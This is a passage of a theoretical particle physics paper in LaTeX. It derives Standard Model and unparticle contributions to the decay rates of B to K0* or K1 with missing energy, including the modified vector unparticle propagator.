b\rightarrow s\mathcal{U}$. Then using these expressions we
calculate the various contributions the decay rates of $B\rightarrow
K_{0}^{\ast }\left( K_{1}\right) +\not\!\!{E}$ both from the SM and
unparticle theory in Section III. Recently, Grinstein et al. gave
comments on the unparticle \cite{23} mentioning that Mack's
unitarity constraint lower bounds on CFT operator dimensions, e.g
$d_{\mathcal{U}}\geq 3$ for primary, gauge invariant, vector
unparticle operators. To account for this they have corrected the
results in the literature, and modified the propagator of vector and
tensor unparticles. We will also give the expressions of decay rate
using these modified vector operators in the same section. Finally,
section IV contains our numerical results and conclusions.
\section{Effective Hamiltonian in SM and Unparticle operators}
The flavor changing neutral current $b\rightarrow s\nu \bar{\nu}$ are of
particular interest both from theoretical and experimental view. One of the
main reason of interest is the absence of long distance contribution related
to the four-quark operators in the effective Hamiltonian. In this respect,
the transition to neutrino represents a clean process even in comparison
with the $b\rightarrow s\gamma $ decay, where long-distance contributions,
though small, are expected to present \cite{24}. In Standard Model these
processes are governed by the effective Hamiltonian
\begin{equation}
\mathcal{H}_{eff}=\frac{G_{F}}{\sqrt{2}}\frac{\alpha }{2\pi }%
V_{tb}V_{ts}^{\ast }C_{10}\bar{s}\gamma ^{\mu }\left( 1-\gamma _{5}\right) b%
\bar{\nu}\gamma _{\mu }\left( 1-\gamma _{5}\right) \nu \label{01}
\end{equation}%
where $V_{tb}V_{ts}^{\ast }$ are the elements of the
Cabbibo-Kobayashi Maskawa Matrix and $C_{10}$ is obtained from the
$Z^{0}$ penguin and box diagrams where the dominant contribution
corresponds to a top quark intermediate state and it is
\begin{equation}
C_{10}=\frac{D\left( x_{t}\right) }{\sin ^{2}\theta _{w}}. \label{02}
\end{equation}%
$\theta _{w}$ is the Weinberg angle and $D\left( x_{t}\right) $ is the usual
Inami-Lim function, given as
\begin{equation}
D\left( x_{t}\right) =\frac{x_{t}}{8}\left\{ \frac{x_{t}+2}{x_{t}-1}+\frac{%
3x_{t}-6}{\left( x_{t}-1\right) ^{2}}\ln \left( x_{t}\right) \right\} ,
\label{03}
\end{equation}%
with $x_{t}=m_{t}^{2}/m_{W}^{2}$.
The unparticle transition at the quark level can be described by $%
b\rightarrow s\mathcal{U}$, where one can consider the following operators:
\begin{itemize}
\item Scalar unparticle operator
\begin{equation}
C_{s}\frac{1}{\Lambda _{\mathcal{U}}^{d_{\mathcal{U}}}}\bar{s}\gamma _{\mu
}b\partial ^{\mu }O_{\mathcal{U}}+C_{P}\frac{1}{\Lambda _{\mathcal{U}}^{d_{%
\mathcal{U}}}}\bar{s}\gamma _{\mu }\gamma _{5}b\partial ^{\mu }O_{\mathcal{U}%
} \label{04}
\end{equation}
\item Vector unparticle operator
\begin{equation}
C_{V}\frac{1}{\Lambda _{\mathcal{U}}^{d_{\mathcal{U}}}}\bar{s}\gamma _{\mu
}bO_{\mathcal{U}}^{\mu }+C_{A}\frac{1}{\Lambda _{\mathcal{U}}^{d_{\mathcal{U}%
}}}\bar{s}\gamma _{\mu }\gamma _{5}bO_{\mathcal{U}}^{\mu }. \label{05}
\end{equation}
\end{itemize}
The propagator for the scalar unparticle field can be written as\cite{14,
16, 17}
\begin{equation}
\int d^{4}xe^{iP\cdot x}\left\langle 0\left| TO_{\mathcal{U}}\left( x\right)
O_{\mathcal{U}}\left( 0\right) \right| 0\right\rangle =i\frac{A_{d_{_{%
\mathcal{U}}}}}{2\sin \left( d_{_{\mathcal{U}}}\pi \right) }\left(
-P^{2}\right) ^{d_{_{\mathcal{U}}}-2} \label{06}
\end{equation}%
with
\begin{equation}
A_{d_{_{\mathcal{U}}}}=\frac{16\pi ^{5/2}}{\left( 2\pi \right) ^{2d_{_{%
\mathcal{U}}}}}\frac{\Gamma \left( d_{_{\mathcal{U}}}+1/2\right) }{\Gamma
\left( d_{_{\mathcal{U}}}-1\right) \Gamma \left( 2d_{_{\mathcal{U}}}\right) }%
. \label{07}
\end{equation}
\section{Differential Decay Widths}
In Standard Model the decay $B\rightarrow K_{0}^{\ast }\left( K_{1}\right) +%
\not\!\!{E}$ is described by the decay $B\rightarrow K_{0}^{\ast
}\left( K_{1}\right) \nu \bar{\nu}$. At quark level this process is
governed by the effective Hamiltonian defined in Eq. (\ref{01})
which when sandwiched between $B$ and $K_{0}^{\ast }\left(
K_{1}\right) $ involves the hadronic matrix elements for the
exclusive decay $B\rightarrow K_{0}^{\ast }\left( K_{1}\right) \nu
\bar{\nu}$. These can be parameterized by the form factors
and the non-vanishing matrix elements for $B\rightarrow K_{0}^{\ast }$ are %
\cite{24}
\begin{equation}
\left\langle K_{0}^{\ast }\left( p^{\prime }\right) \left| \bar{s}\gamma
_{\mu }\gamma _{5}b\right| B\left( p\right) \right\rangle =-i\left[
f_{+}\left( q^{2}\right) \left( p+p^{\prime }\right) _{\mu }+f_{-}\left(
q^{2}\right) q_{\mu }\right] . \label{08}
\end{equation}%
where $q_{\mu }=\left( p+p^{\prime }\right) _{\mu }$. Using the above
definition and taking into account the three species of neutrinos in the
Standard Model, the differential decay width as a function of $K_{0}^{\ast }$
energy $\left( E_{K_{0}^{\ast }}\right) $ can be written as \cite{24}:
\begin{equation}
\frac{d\Gamma ^{SM}}{dE_{K_{0}^{\ast }}}=\frac{G_{F}^{2}\alpha ^{2}}{%
2^{7}\pi ^{5}M_{B}^{2}}\left| V_{tb}V_{ts}^{\ast }\right| ^{2}\left|
C_{10}\right| ^{2}f_{+}^{2}\left( q^{2}\right) \sqrt{\lambda ^{3}\left(
M_{B}^{2},M_{K_{0}^{\ast }}^{2},q^{2}\right) } \label{09}
\end{equation}%
with $\lambda \left( a,b,c\right) =a^{2}+b^{2}+c^{2}-2ab-2bc-2ca$ and $%
q^{2}=M_{B}^{2}+M_{K_{0}^{\ast }}^{2}-2M_{B}E_{K_{0}^{\ast }}$ . Here $%
f_{+}\left( q^{2}\right) $ and $f_{-}\left( q^{2}\right) $ are the form
factors which are the non-perturbative quantities and can be calculated
using some models. The one we have used here was calculated by using Light
Front Quark Model (LFQR) by Cheng et al. \cite{24} and these can be
parameterized as:%
\begin{equation*}
F\left( q^{2}\right) =\frac{F\left( 0\right) }{1-aq^{2}/M_{B}^{2}+b\left(
q^{2}/M_{B}^{2}\right) ^{2}}
\end{equation*}%
and the fitted parameters are given in Table~\ref{di-fit}.
\begin{table}[tbh]
\caption{{}The parameters for $B\rightarrow K_{0}^{\ast }$ form factors.}
\label{di-fit}%
\begin{tabular}{cccc}
\hline\hline
& $F\left( 0\right) $ & $a$ & $b$ \\ \hline
$f_{+}$ & $-0.26$ & $1.36$ & $0.86$ \\
$f_{-}$ & $0.21$ & $1.26$ & $0.93$ \\ \hline\hline
\end{tabular}%
\end{table}
Similarly, for $B\rightarrow K_{1}$ transition the matrix elements can be
parametrized as \cite{25}
\begin{eqnarray}
\left\langle K_{1}(k,\varepsilon )\left| V_{\mu }\right| B(p)\right\rangle
&=&i\varepsilon _{\mu }^{\ast }\left( M_{B}+M_{K_{1}}\right) V_{1}(q^{2})
\notag \\
&&-(p+k)_{\mu }\left( \varepsilon ^{\ast }\cdot q\right) \frac{V_{2}(q^{2})}{%
M_{B}+M_{K_{1}}} \notag \\
&&-q_{\mu }\left( \varepsilon \cdot q\right) \frac{2M_{K_{1}}}{s}\left[
V_{3}(q^{2})-V_{0}(q^{2})\right] \label{10} \\
\left\langle K_{1}(k,\varepsilon )\left| A_{\mu }\right| B(p)\right\rangle
&=&\frac{2i\epsilon _{\mu \nu \alpha \beta }}{M_{B}+M_{K_{1}}}\varepsilon
^{\ast \nu }p^{\alpha }k^{\beta }A(q^{2}) \label{11}
\end{eqnarray}%
where $V_{\mu }=\bar{s}\gamma _{\mu }b$ and $A_{\mu }=\bar{s}\gamma _{\mu
}\gamma _{5}b$ are the vector and axial vector currents respectively and $%
\varepsilon _{\mu }^{\ast }$ is the polarization vector for the final state
axial vector meson. In this case we have used the form factors that were
calculated by Paracha et al. \cite{25} and the corresponding expressions are:%
\begin{eqnarray}
A\left( s\right) &=&\frac{A\left( 0\right) }{\left( 1-s/M_{B}^{2}\right)
(1-s/M_{B}^{\prime 2})} \notag \\
V_{1}(s) &=&\frac{V_{1}(0)}{\left( 1-s/M_{B_{A}^{\ast }}^{2}\right) \left(
1-s/M_{B_{A}^{\ast }}^{\prime 2}\right) }\left( 1-\frac{s}{%
M_{B}^{2}-M_{K_{1}}^{2}}\right) \label{form-factors} \\
V_{2}(s) &=&\frac{\tilde{V}_{2}(0)}{\left( 1-s/M_{B_{A}^{\ast }}^{2}\right)
\left( 1-s/M_{B_{A}^{\ast }}^{\prime 2}\right) }-\frac{2M_{K_{1}}}{%
M_{B}-M_{K_{1}}}\frac{V_{0}(0)}{\left( 1-s/M_{B}^{2}\right) \left(
1-s/M_{B}^{\prime 2}\right) } \notag
\end{eqnarray}%
with
\begin{eqnarray}
A(0) &=&-(0.52\pm 0.05) \notag \\
V_{1}(0) &=&-(0.24\pm 0.02) \notag \\
\tilde{V}_{2}(0) &=&-(0.39\pm 0.03). \label{Num-f-factor}
\end{eqnarray}%
The differential decay rate can be calculated as \cite{22}:
\begin{equation}
\frac{d\Gamma ^{SM}}{dE_{K_{1}}}=\frac{G_{F}^{2}\alpha ^{2}}{2^{9}\pi
^{5}M_{B}^{2}}\left| V_{tb}V_{ts}^{\ast }\right| ^{2}\left| C_{10}\right|
^{2}\lambda ^{1/2}\left| M_{SM}\right| ^{2} \label{12}
\end{equation}%
where%
\begin{eqnarray}
\left| M_{SM}\right| ^{2} &=&\frac{8q^{2}\lambda \left| A\left( q^{2}\right)
\right| ^{2}}{\left( M_{B}+M_{K_{1}}\right) ^{2}}+\frac{1}{M_{K_{1}}^{2}}%
\bigg[\lambda ^{2}\frac{\left| V_{2}\left( q^{2}\right) \right| ^{2}}{\left(
M_{B}+M_{K_{1}}\right) ^{2}}+\left( M_{B}+M_{K_{1}}\right) ^{2}\left(
\lambda +12M_{K_{1}}^{2}q^{2}\right) \left| V_{1}\left( q^{2}\right) \right|
^{2} \notag \\
&&-\lambda \left( M_{B}^{2}-M_{K_{1}}^{2}-q^{2}\right)
\rm{Re}(V_{1}^{\ast }\left( q^{2}\right) V_{2}\left( q^{2}\right)
+V_{2}^{\ast }\left( q^{2}\right) V_{1}\left( q^{2}\right) )\bigg]
\label{13a}
\end{eqnarray}
and $\lambda =\lambda \left( M_{B}^{2},M_{K_{1}}^{2},q^{2}\right) $ with $%
q^{2}=M_{B}^{2}+M_{K_{1}}^{2}-2M_{B}E_{K_{1}}$.
Now in decay mode $B\rightarrow K_{0}^{\ast }\left( K_{1}\right)
+\not\!\!{E}$, the missing energy shown by $\not\!\!{E}$ can also be
attributed to the unparticle and hence the unparticle can also
contribute to these decay modes. Therefore, the signature of two
decay modes $B\rightarrow K_{0}^{\ast }\left( K_{1}\right) \nu
\bar{\nu}$ and $B\rightarrow K_{0}^{\ast }\left( K_{1}\right)
\mathcal{U}$ is required like the one done for $B\rightarrow K\left(
K^{\ast }\right) \nu \bar{\nu}$ and $B\rightarrow K\left( K^{\ast
}\right) \mathcal{U}$ in the literature \cite{22}.
\subsection{The Scalar Unparticle Operator}
Using the scalar unparticle operator defined in Eq. (\ref{04}) the matrix
element for $B\rightarrow K_{0}^{\ast }\mathcal{U}$ can be written as
\begin{eqnarray}
\mathcal{M}_{K_{0}^{\ast }}^{S\mathcal{U}} &=&\frac{1}{\Lambda ^{d_{\mathcal{%
U}}}}\left\langle K_{0}^{\ast }\left( p^{\prime }\right) \left| \bar{s}%
\gamma _{\mu }\left( \mathcal{C}_{S}+\mathcal{C}_{P}\gamma _{5}\right)
b\right| B\left( p\right) \right\rangle \partial ^{\mu }O_{\mathcal{U}}
\notag \\
&=&\frac{1}{\Lambda ^{d_{\mathcal{U}}}}\mathcal{C}_{P}[f_{+}\left(
q^{2}\right) \left( M_{B}^{2}-M_{K_{0}^{\ast }}^{2}\right) +f_{-}\left(
q^{2}\right) q^{2}]O_{\mathcal{U}} \label{14}
\end{eqnarray}%
Now the decay rate for $B\rightarrow K_{0}^{\ast }\mathcal{U}$ can be
evaluated to be:
\begin{equation}
\frac{d\Gamma ^{S\mathcal{U}}}{dE_{K_{0}^{\ast }}}=\frac{1}{8\pi ^{2}m_{B}}%
\sqrt{E_{K_{0}^{\ast }}^{2}-M_{K_{0}^{\ast }}^{2}}\left| \mathcal{M}^{S%
\mathcal{U}}\right| ^{2} \label{14a}
\end{equation}%
where
\begin{eqnarray}
\left| \mathcal{M}^{S\mathcal{U}}\right| ^{2} &=&\left| \mathcal{C}%
_{P}\right| ^{2}\frac{A_{d_{\mathcal{U}}}}{\Lambda ^{^{2d_{\mathcal{U}}}}}%
\left( M_{B}^{2}+M_{K_{0}^{\ast }}^{2}-2M_{B}E_{K_{0}^{\ast }}\right) ^{d_{%
\mathcal{U}}-2} \label{15} \\
&&\left. \times \left[ f_{+}\left( q^{2}\right) \left(
M_{B}^{2}-M_{K_{0}^{\ast }}^{2}\right) +f_{-}\left( q^{2}\right) \left(
M_{B}^{2}+M_{K_{0}^{\ast }}^{2}-2M_{B}E_{K_{0}^{\ast }}\right) \right]
^{2}\right. . \notag
\end{eqnarray}%
Following the same lines, the corresponding matrix element $B\rightarrow
K_{1}\mathcal{U}$ is
\begin{eqnarray}
\mathcal{M}_{K_{1}}^{S\mathcal{U}} &=&\frac{1}{\Lambda ^{d_{\mathcal{U}}}}%
\left\langle K_{1}\left( p^{\prime }\right) \left| \bar{s}\gamma _{\mu
}\left( \mathcal{C}_{S}+\mathcal{C}_{P}\gamma _{5}\right) b\right| B\left(
p\right) \right\rangle \partial ^{\mu }O_{\mathcal{U}} \notag \\
&=&\frac{i}{\Lambda ^{d_{\mathcal{U}}}}\mathcal{C}_{S}\left( \varepsilon
^{\ast }\cdot q\right) \bigg[(M_{B}+M_{K_{1}})V_{1}\left( q^{2}\right)
\notag \\
&&-(M_{B}-M_{K_{1}})V_{2}\left( q^{2}\right) -2M_{K_{1}}\left( V_{3}\left(
q^{2}\right) -V_{0}\left( q^{2}\right) \right) \bigg]O_{\mathcal{U}},
\label{16a}
\end{eqnarray}%
and the differential decay rate is
\begin{equation}
\frac{d\Gamma ^{S\mathcal{U}}}{dE_{K_{1}}}=\frac{M_{B}}{2\pi ^{2}}\frac{%
A_{d_{\mathcal{U}}}}{\Lambda ^{^{2d_{\mathcal{U}}}}}\left| \mathcal{C}%
_{S}\right| ^{2}\left| V_{0}\left( q^{2}\right) \right| ^{2}\left(
E_{K_{1}}^{2}-M_{K_{1}}^{2}\right) ^{3/2}\left(
M_{B}^{2}+M_{K_{1}}^{2}-2M_{B}E_{K_{1}}\right) ^{d_{\mathcal{U}}-2}.
\label{17}
\end{equation}
One can see from Eq. (\ref{14a}) and Eq. (\ref{17}) that the scalar
unparticle contribution to the decay rate depends on $\mathcal{C}_{P}$, $%
\mathcal{C}_{S}$, $d_{\mathcal{U}}$ and $\Lambda _{\mathcal{U}}$, therefore
one can see the behavior of decay rates for the said decays on these
parameters which will be hoped to get constraint once we have experimental
data on these decays. This we will do in a separate section.
\subsection{The Vector Unparticle Operator}
The matrix element for $B\rightarrow K_{0}^{\ast }\mathcal{U}$ using the
vector unparticle operator defined in Eq. (\ref{05}) and the definition of
form factors given in Eq. (\ref{08}) can be calculated as:
\begin{eqnarray}
\mathcal{M}_{K_{0}^{\ast }}^{V\mathcal{U}} &=&\frac{1}{\Lambda ^{d_{\mathcal{%
U}}-1}}\left\langle K_{0}^{\ast }\left( p^{\prime }\right) \left| \bar{s}%
\gamma _{\mu }\left( \mathcal{C}_{V}+\mathcal{C}_{A}\gamma _{5}\right)
b\right| B\left( p\right) \right\rangle O_{\mathcal{U}}^{\mu } \notag \\
&=&\frac{1}{\Lambda ^{d_{\mathcal{U}}-1}}\mathcal{C}_{A}[f_{+}\left(
q^{2}\right) \left( p+p^{\prime }\right) _{\mu }+f_{-}\left( q^{2}\right)
q_{\mu }]O_{\mathcal{U}}^{\mu }. \label{18}
\end{eqnarray}%
The differential decay rate is then
\begin{eqnarray}
\frac{d\Gamma ^{V\mathcal{U}}}{dE_{K_{0}^{\ast }}} &=&\frac{1}{8\pi ^{2}m_{B}%
}\frac{A_{d_{\mathcal{U}}}}{\Lambda ^{^{2d_{\mathcal{U}}-2}}}\left| \mathcal{%
C}_{A}\right| ^{2}\left| f_{+}\left( q^{2}\right) \right| ^{2}\left(
M_{B}^{2}+M_{K_{0}^{\ast }}^{2}-2M_{B}E_{K_{0}^{\ast }}\right) ^{d_{\mathcal{%
U}}-2}\sqrt{E_{K_{0}^{\ast }}^{2}-M_{K_{0}^{\ast }}^{2}} \notag \\
&&\times \left\{ -\left( M_{B}^{2}+M_{K_{0}^{\ast
}}^{2}+2M_{B}E_{K_{0}^{\ast }}\right) +\frac{\left( M_{B}^{2}-M_{K_{0}^{\ast
}}^{2}\right) ^{2}}{\left( M_{B}^{2}+M_{K_{0}^{\ast
}}^{2}-2M_{B}E_{K_{0}^{\ast }}\right) }\right\} . \label{19}
\end{eqnarray}%
For $B\rightarrow K_{1}$ case the matrix element for $B\rightarrow K_{1}%
\mathcal{U~}$is
\begin{eqnarray}
\mathcal{M}_{K_{1}}^{V\mathcal{U}} &=&\frac{1}{\Lambda ^{d_{\mathcal{U}}-1}}%
\left\langle K_{1}\left( p^{\prime }\right) \left| \bar{s}\gamma _{\mu
}\left( \mathcal{C}_{V}+\mathcal{C}_{A}\gamma _{5}\right) b\right| B\left(
p\right) \right\rangle O_{\mathcal{U}}^{\mu } \notag \\
&=&\bigg[\frac{\mathcal{C}_{V}}{\Lambda ^{d_{\mathcal{U}}-1}}(i\varepsilon
_{\mu }^{\ast }\left( M_{B}+M_{K_{1}}\right) V_{1}\left( q^{2}\right)
-i\left( p+p^{\prime }\right) _{\mu }\left( \varepsilon ^{\ast }\cdot
q\right) \frac{V_{2}\left( q^{2}\right) }{M_{B}+M_{K_{1}}} \notag \\
&& \label{19a} \\
&&-iq_{\mu }\left( \varepsilon ^{\ast }\cdot q\right) \frac{2M_{K_{1}}}{q^{2}%
}\left( V_{3}\left( q^{2}\right) -V_{0}\left( q^{2}\right) \right) )+\frac{%
\mathcal{C}_{A}}{\Lambda ^{d_{\mathcal{U}}-1}}(\frac{2A\left( q^{2}\right) }{%
M_{B}+M_{K_{1}}}\epsilon _{\mu \nu \alpha \beta }\varepsilon ^{\nu \ast
}p^{\alpha }p^{\prime \beta })\bigg]O_{\mathcal{U}}^{\mu } \notag
\end{eqnarray}%
and the differential decay rate will be:
\begin{eqnarray}
\frac{d\Gamma ^{V\mathcal{U}}}{dE_{K_{1}}} &=&\frac{1}{8\pi ^{2}m_{B}}\frac{%
A_{d_{\mathcal{U}}}}{\Lambda ^{^{2d_{\mathcal{U}}-2}}}\sqrt{%
E_{K_{1}}^{2}-M_{K_{1}}^{2}}\left( q^{2}\right) ^{d_{\mathcal{U}}-2} \notag
\\
&&\bigg[8\left| \mathcal{C}_{A}\right| ^{2}M_{B}^{2}\left(
E_{K_{1}}^{2}-M_{K_{1}}^{2}\right) \frac{A\left( q^{2}\right) }{\left(
M_{B}+M_{K_{1}}\right) ^{2}} \notag \\
&&+\left| \mathcal{C}_{V}\right| ^{2}\frac{1}{M_{K_{1}}^{2}\left(
M_{B}+M_{K_{1}}\right) ^{2}q^{2}} \notag \\
&&\bigg[\left( M_{B}+M_{K_{1}}\right) ^{4}\left(
3M_{K_{1}}^{4}+2M_{B}^{2}M_{K_{1}}^{2}-6M_{B}M_{K_{1}}^{2}E_{K_{1}}+M_{B}^{2}E_{K_{1}}^{2}\right) \left| V_{1}\left( q^{2}\right) \right| ^{2}
\notag \\
&&+2M_{B}^{4}\left( E_{K_{1}}^{2}-M_{K_{1}}^{2}\right) \left| V_{2}\left(
q^{2}\right) \right| ^{2}+4\left( M_{B}+M_{K_{1}}\right) ^{2} \notag \\
&&\left( M_{B}E_{K_{1}}-M_{K_{1}}^{2}\right) \left(
M_{K_{1}}^{2}-E_{K_{1}}^{2}\right) M_{B}^{2}\left( V_{1}V_{2}^{\ast
}+V_{2}V_{1}^{\ast }\right) \bigg]\bigg] \label{19b}
\end{eqnarray}%
The total decay width can be obtained if we integrate on the energy
of the final state meson in the range $M_{K\left( K_{1}\right)
}<E_{K\left( K_{1}\right) }<\left( M_{B}^{2}+M_{K\left( K_{1}\right)
}^{2}\right) /2M_{B}$ for $B\rightarrow K\left( K_{1}\right)
+\not\!\!{E}$.
Recently, Grinstein et al. have given comment on the unparticle \cite{23} in
which they have mentioned that Mack's unitarity constraint lower bounds \ on
CFT operator dimensions, e.g. $d_{\mathcal{U}}\geq 3$ for primary, gauge
invariant, vector unparticle operators. To account for this they have
corrected the results in the literature, and modified the propagator of
vector and tensor unparticles. The modified vector propagator is
\begin{equation}
\int d^{4}xe^{iPx}\left\langle 0\left| T\left( O_{\mathcal{U}}^{\mu }\left(
x\right) O_{\mathcal{U}}^{\nu }\left( x\right) \right) \right|
0\right\rangle =A_{d_{\mathcal{U}}}\left( -g^{\mu \nu }+aP^{\mu }P^{\nu
}/P^{2}\right) \left( P^{2}\right) ^{d_{\mathcal{U}}-2}. \label{21}
\end{equation}%
Here $P$ is the momentum of the unparticle, $A_{d_{\mathcal{U}}}$ is defined
in Eq. (\ref{07}) \ and $a\neq 1($ in contrast to the value $a=1$ which was
considered by Georgi \cite{14}) but is defined as:
\begin{equation}
a=\frac{2\left( d_{\mathcal{U}}-2\right) }{\left( d_{\mathcal{U}}-1\right) }.
\label{22}
\end{equation}%
By incorporating this factor $a$ in the vector unparticle operator the Eqs. (%
\ref{19}) and (\ref{19b}) get modification and the modified result of the
decay rate for $B\rightarrow K_{0}^{\ast }\mathcal{U}$ is
\begin{eqnarray}
\frac{d\Gamma ^{V\mathcal{U}}}{dE_{K_{0}^{\ast }}} &=&\frac{1}{8\pi ^{2}m_{B}%
}\frac{A_{d_{{}}\mathcal{U}}}{\Lambda ^{^{2d_{\mathcal{U}}-2}}}\left|
\mathcal{C}_{A}\right| ^{2}\left| f_{+}\left( q^{2}\right) \right|
^{2}\left( M_{B}^{2}+M_{K_{0}^{\ast }}^{2}-2M_{B}E_{K_{0}^{\ast }}\right)
^{d_{\mathcal{U}}-2}\sqrt{E_{K_{0}^{\ast }}^{2}-M_{K_{0}^{\ast }}^{2}}
\notag \\
&&\bigg[\left| f_{+}\left( q^{2}\right) \right| ^{2}\left( -\left(
M_{B}^{2}+M_{K_{0}^{\ast }}^{2}+2M_{B}E_{K_{0}^{\ast }}\right) +\frac{%
a\left( M_{B}^{2}-M_{K_{0}^{\ast }}^{2}\right) ^{2}}{\left(
M_{B}^{2}+M_{K_{0}^{\ast }}^{2}-2M_{B}E_{K_{0}^{\ast }}\right) }\right)
\notag \\
&&+\left| f_{-}\left( q^{2}\right) \right| ^{2}\left( a-1\right) \left(
M_{B}^{2}+M_{K_{0}^{\ast }}^{2}-2M_{B}E_{K_{0}^{\ast }}\right) \notag \\
&&+2\left( a-1\right) \left( f_{+}\left( q^{2}\right) f_{-}\left(
q^{2}\right) \right) \left( M_{B}^{2}-M_{K_{0}^{\ast }}^{2}\right) \bigg]
\notag \\
&& \label{23}
\end{eqnarray}%
Similarly, for $B\rightarrow K_{1}\mathcal{U}$ the result becomes
\begin{eqnarray}
\frac{d\Gamma ^{V\mathcal{U}}}{dE_{K_{1}}} &=&\frac{1}{8\pi ^{2}m_{B}}\frac{%
A_{d_{\mathcal{U}}}}{\Lambda ^{^{2d_{\mathcal{U}}-2}}}\sqrt{%
E_{K_{1}}^{2}-M_{K_{1}}^{2}}\left( q^{2}\right) ^{d_{\mathcal{U}}-2} \notag
\\
&&\bigg[\left| \mathcal{M}_{11}\right| ^{2}+\left| \mathcal{M}_{22}\right|
^{2}+\left| \mathcal{M}_{33}\right| ^{2}+\left| \mathcal{M}_{44}\right|
^{2}+\left| \mathcal{M}_{23}\right| ^{2}+\left| \mathcal{M}_{24}\right|
^{2}+\left| \mathcal{M}_{34}\right| ^{2}\bigg] \notag \\
&& \label{24}
\end{eqnarray}%
with%
\begin{eqnarray*}
\left| \mathcal{M}_{11}\right| ^{2} &=&8\left| \mathcal{C}_{A}\right|
^{2}M_{B}^{2}\left( E_{K_{1}}^{2}-M_{K_{1}}^{2}\right) \frac{A\left(
q^{2}\right) }{\left( M_{B}+M_{K_{1}}\right) ^{2}} \\
\left| \mathcal{M}_{22}\right| ^{2} &=&\left| \mathcal{C}_{V}\right| ^{2}%
\frac{1}{M_{K_{1}}^{2}\left( M_{B}+M_{K_{1}}\right) ^{2}q^{2}} \\
&&\bigg[\left( M_{B}+M_{K_{1}}\right) ^{4}\left( 3M_{K_{1}}^{2}\left(
M_{B}^{2}+M_{K_{1}}^{2}-2M_{B}E_{K_{1}}\right) -a\left(
M_{B}^{2}M_{K_{1}}^{2}-M_{B}^{2}E_{K_{1}}^{2}\right) \right) \left|
V_{1}\left( q^{2}\right) \right| ^{2}\bigg] \\
\left| \mathcal{M}_{33}\right| ^{2} &=&\left| \mathcal{C}_{V}\right| ^{2}%
\frac{1}{M_{K_{1}}^{2}\left( M_{B}+M_{K_{1}}\right) ^{2}q^{2}} \\
&&\bigg[M_{B}^{2}\left( E_{K_{1}}^{2}-M_{K_{1}}^{2}\right) \left( a\left(
M_{B}^{2}-M_{K_{1}}^{2}\right) ^{2}+\left( 2M_{B}E_{K_{1}}\right)
^{2}-\left( M_{B}^{2}+M_{K_{1}}^{2}\right) ^{2}\right) \left| V_{2}\left(
q^{2}\right) \right| ^{2}\bigg] \\
\left| \mathcal{M}_{44}\right| ^{2} &=&\left| \mathcal{C}_{V}\right| ^{2}%
\frac{1}{M_{K_{1}}^{2}\left( M_{B}+M_{K_{1}}\right) ^{2}q^{2}} \\
&&\bigg[4M_{B}^{2}\left( M_{B}+M_{K_{1}}\right) ^{2}\left(
E_{K_{1}}^{2}-M_{K_{1}}^{2}\right) \left( a-1\right) M_{K_{1}}^{2}\left|
V_{3}\left( q^{2}\right) -V_{0}\left( q^{2}\right) \right| ^{2}\bigg]
\end{eqnarray*}%
\begin{eqnarray}
\left| \mathcal{M}_{23}\right| ^{2} &=&\left| \mathcal{C}_{V}\right| ^{2}%
\frac{1}{M_{K_{1}}^{2}\left( M_{B}+M_{K_{1}}\right) ^{2}q^{2}} \notag \\
&&\bigg[M_{B}^{2}\left( M_{B}+M_{K_{1}}\right) ^{2}\left(
E_{K_{1}}^{2}-M_{K_{1}}^{2}\right) \left(
M_{B}^{2}+M_{K_{1}}^{2}-2M_{B}E_{K_{1}}-a\left(
M_{B}^{2}-M_{K_{1}}^{2}\right) \right) \notag \\
&&\left( V_{1}\left( q^{2}\right) V_{2}^{\ast }\left( q^{2}\right)
+V_{2}\left( q^{2}\right) V_{1}^{\ast }\left( q^{2}\right) \right) \bigg]
\notag \\
\left| \mathcal{M}_{24}\right| ^{2} &=&\left| \mathcal{C}_{V}\right| ^{2}%
\frac{1}{M_{K_{1}}^{2}\left( M_{B}+M_{K_{1}}\right) ^{2}q^{2}} \notag \\
&&\bigg[2M_{K_{1}}\left( M_{B}+M_{K_{1}}\right) ^{3}\left( \left( 1-a\right)
M_{B}^{2}\left( E_{K_{1}}^{2}-M_{K_{1}}^{2}\right) \right) \left(
V_{1}\left( V_{3}-V_{0}\right) ^{\ast }+\left( V_{3}-V_{0}\right)
V_{1}^{\ast }\right) \bigg] \notag \\
\left| \mathcal{M}_{34}\right| ^{2} &=&\left| \mathcal{C}_{V}\right| ^{2}%
\frac{1}{M_{K_{1}}^{2}\left( M_{B}+M_{K_{1}}\right) ^{2}q^{2}}\bigg[%
2M_{K_{1}}\left( M_{B}+M_{K_{1}}\right) \left( M_{B}^{2}-M_{K_{1}}^{2}\right)
\notag \\
&&M_{B}^{2}\left( E_{K_{1}}^{2}-M_{K_{1}}^{2}\right) \left( a-1\right)
\left( V_{2}\left( V_{3}-V_{0}\right) ^{\ast }+\left( V_{3}-V_{0}\right)
V_{2}^{\ast }\right) \bigg] \label{24amplitude}
\end{eqnarray}%
One can easily see that Eqs. (\ref{23}) and (\ref{24}) reduces to the Eqs. (%
\ref{19}) and (\ref{19b}) respectively, if one puts $a=1$.
\section{Results and Discussions}
In this section we present our numerical study for the $B\rightarrow
K_{0}^{\ast }\left( K_{1}\right) +\not\!\!{E}$ where we try to
distinguish the unparticle physics effects from that of the SM. In
Standard Model $\not\!\!{E}$ which is the missing energy is
attributed to the neutrinos where as in the case under
consideration, this is attached to the unparticle. Therefore the
total decay rate can be written as
\begin{equation}
\Gamma =\Gamma ^{SM}+\Gamma ^{\mathcal{U}}. \label{25}
\end{equation}%
Here $\Gamma ^{SM}$ is the Standard Model contribution $\left( B\rightarrow
K_{0}^{\ast }\left( K_{1}\right) \nu \bar{\nu}\right) $ where as $\Gamma ^{%
\mathcal{U}}$ is from the unparticle $\left( B\rightarrow
K_{0}^{\ast }\left( K_{1}\right) \mathcal{U}\right) $ to the decay
$B\rightarrow K_{0}^{\ast }\left( K_{1}\right) +\not\!\!{E}.$ In
ref. \cite{22} it is pointed out that the SM\ process $B\rightarrow
K\left( K^{\ast }\right) \nu \bar{\nu} $ provides a unique energy
distribution spectrum of final state hadrons and present
experimental limits on the branching ratio of these processes are
about an order of magnitude below the respective SM expectation
values. They have used experimental upper limit on the branching
ratio of $B\rightarrow K\left( K^{\ast }\right) \nu \bar{\nu}$ decay
to estimate the constraints on the unparticle properties.
\begin{figure}[htb]
\begin{center}
\includegraphics[scale=0.7]{Figure-1.eps}
\caption{The differential branching ratio for $B\rightarrow
K_{0}^{\ast }\left( K_{1}\right) +\not\!\!{E}$ as a function of
hadronic energy $E_{K_{0}^{\ast }}\left( E_{K_{1}}\right) $ is
